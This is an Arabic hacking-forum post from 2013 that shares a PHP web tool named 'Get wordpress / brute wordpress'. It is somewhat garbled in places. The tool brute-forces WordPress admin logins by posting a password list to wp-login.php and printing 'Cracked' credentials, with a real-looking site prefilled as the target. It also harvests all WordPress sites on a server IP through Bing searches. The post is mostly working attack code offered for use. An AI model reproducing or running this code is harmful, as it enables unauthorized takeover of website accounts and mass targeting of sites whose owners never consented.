عرض مشاركة واحدة
قديم 10-18-2013, 03:45 AM   رقم المشاركة : 1 (permalink)
معلومات العضو
هيب هوب هاك
 
الصورة الرمزية هيب هوب هاك
 

 

 
إحصائية العضو






هيب هوب هاك غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
هيب هوب هاك is on a distinguished road

افتراضي Get wordpress / brute wordpress


السسلام عليكم ورحمة الله وبركاته ..

سكربت تخمين الووردبريسس .. معا خاصية استخراج جميع مواقع الورردبريسس من الاي بي



نتائج التخمين



نتائج استخراج مواقع الووردبريسس من السيرفر ..




كود PHP:
<head> 
<meta name="description" content=" Get stie wordpress"> 
<title>Get stie wordpress</title> 
<meta name="keywords" content=" Get stie wordpress"> 
</head> 
<html><center> 
<center><center> 
<font color='red' fance='Tahoma' size='6'> <b>| Get wordpress / brute wordpress | </b></font></center> 
</html><br> 





<head> 
<meta name="keywords" content="DsHooRi wordpress"> 
<meta name="description" content="DsHooRi wordpress"> 
<title>DsHooRi wordpress </title> 
</head> 

<body bgcolor="#000000"> 
<style> 
input,textarea{ 
border:1px solid #8B2323; 
background:#000000; 
color:#FFFFFF; 

input:hover,textarea:hover{ 
border:1px solid #FF40; 

</style> 
<form method='post' > 
</form> 




<form method='POST'> 
<center> 
<br> <br> 
    <input type="text" name="target" value="lightscamerajackson.com"> 
    <input type="text" name="username" pholder="username" ><br> 
    <textarea cols="35" rows="15" name="passwords"></textarea><br> 
    <input type="submit" value="Start Bruting"> 
</center> 
</form> 


<? 
/* CoD3d : DsH00Ri 
 * mail : DsHooRi@Hotmail.com 
 *    Is-sec.com 
 * 
*/ 
    
@set_time_limit(0); 
    
$target $_POST['target']; 
    
$username $_POST['username']; 
    
$pass explode("\r\n" $_POST['passwords']); 
    function 
dshoori($target,$username,$password
    { 
        
$ch curl_init(); 
        
curl_setopt($ch,CURLOPT_URL"http://".$target."/wp-login.php"); 
        
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
        
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1); 
        
curl_setopt($ch,CURLOPT_POSTFIELDS,"log={$username}&pwd={$password}&wp-submit=Log+In&redirect_to=./wp-admin/&test******=1"); 
        
curl_setopt($ch,CURLOPT_******JAR,"******.txt"); 
        
curl_setopt($ch,CURLOPT_******FILE,"******.txt"); 
        
$result curl_exec($ch); 
    
//    if(eregi("upload.php" , $result)) 
    //    { 
    //         echo "<center><font face='Tahoma'>[+] Cracked [ Username : <font color='red'><b>{$username}</b></font> & Password : <font color='red'><b>{$password}</b></font> ]</font></center>"; 
    //   } 
        
return $result
    } 
    foreach(
$pass as $password
    { 
        
$b0x dshoori($target,$username,$password); 
        if(
preg_match('#<div class="wp-menu-arrow"><div></div>#'$b0x)) 
        { 
          echo 
"<center><font face='Tahoma'>[+] Cracked [ Username : <font color='red'><b>{$username}</b></font> & Password : <font color='red'><b>{$password}</b></font> ]</font></center>"
            break; 
        } 
    } 


set_time_limit(0); 
function 
checke($url){ 
$login $url
$ch curl_init(); 
curl_setopt($ch,CURLOPT_URL,$login); 
curl_setopt($ch,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1'); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); 
$result curl_exec($ch); 
curl_close($ch); 
return 
$result
    } 
function 
scan($ip

    
$dork "/wordpress"
$num 1
for(
$i=1;$i<=10;$i++) 
    { 
$text file_get_contents("http://www.bing.com/search?q=ip%3a{$ip}+{$dork}&go=&qs=ds&filt=all&first={$num}"); 
$num $num 10
preg_match_all('#(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)#siU',$text,$m); 
foreach(
$m[2] as $s
        { 
$array[] = check($s); 
$dd array_unique($array); 
        } 
    } 
return 
$dd

function 
check($url

$url explode("/wordpress",$url); 
$url str_replace("www.","",$url); 
$url str_replace("http://","http://www.",$url); 
    return 
$url[0]."/"

if(
$_POST['ip']) 

    foreach(
scan($_POST['ip']) as $url
    { 
$dork "search?q=wordpress&go=&qs=ds&form=QBRE"
$text checke($url.$dork); 
        if(
eregi('{"result":null,"error":"No function call specified!"}',$text) or eregi('{"result":null,"error":"Cannot call function . Function not registered!"}',$text)) 
        { 
echo 
"<a href='{$url}{$dork}'><font color=#00FF00><b>{$url}</b></font></a><br />"
            
flush(); 
        }else{ 
echo 
"<a href='{$url}'><font color=white><b>{$url}</b></font></a><br />"
            
flush(); 
        } 
    } 
}else{ 

echo 
"<font color=black><b>please enter ip address :</b></font></a><br /><form action='?' method='POST'><input name='ip' type='text' ><br><input type='submit' value='check'></form>"




?> 
<head> 
<meta name="description" content=" brute wordprss"> 
<title>brute wordpress</title> 
<meta name="keywords" content=" brute wordpress"> 
</head> 
<html><center> 
<center><center> 
<font color='red' fance='Tahoma' size='4'> <b>| Coded ~ DsHooRi | </b></font></center> 
<font color='red' fance='Tahoma' size='4'> <b>| skype ~ DsHooRi | </b></font></center> 
<font color='red' fance='Tahoma' size='4'> <b>| maiL : DsHooRi@Hotmail.com | </b></font></center> 
<font color='red' fance='Tahoma' size='4'> <b>| G/2 : xsecurity | Is-sec | </b></font></center> 

</html><br>
دمتم بود


Get wordpress L brute lkj]n

   

رد مع اقتباس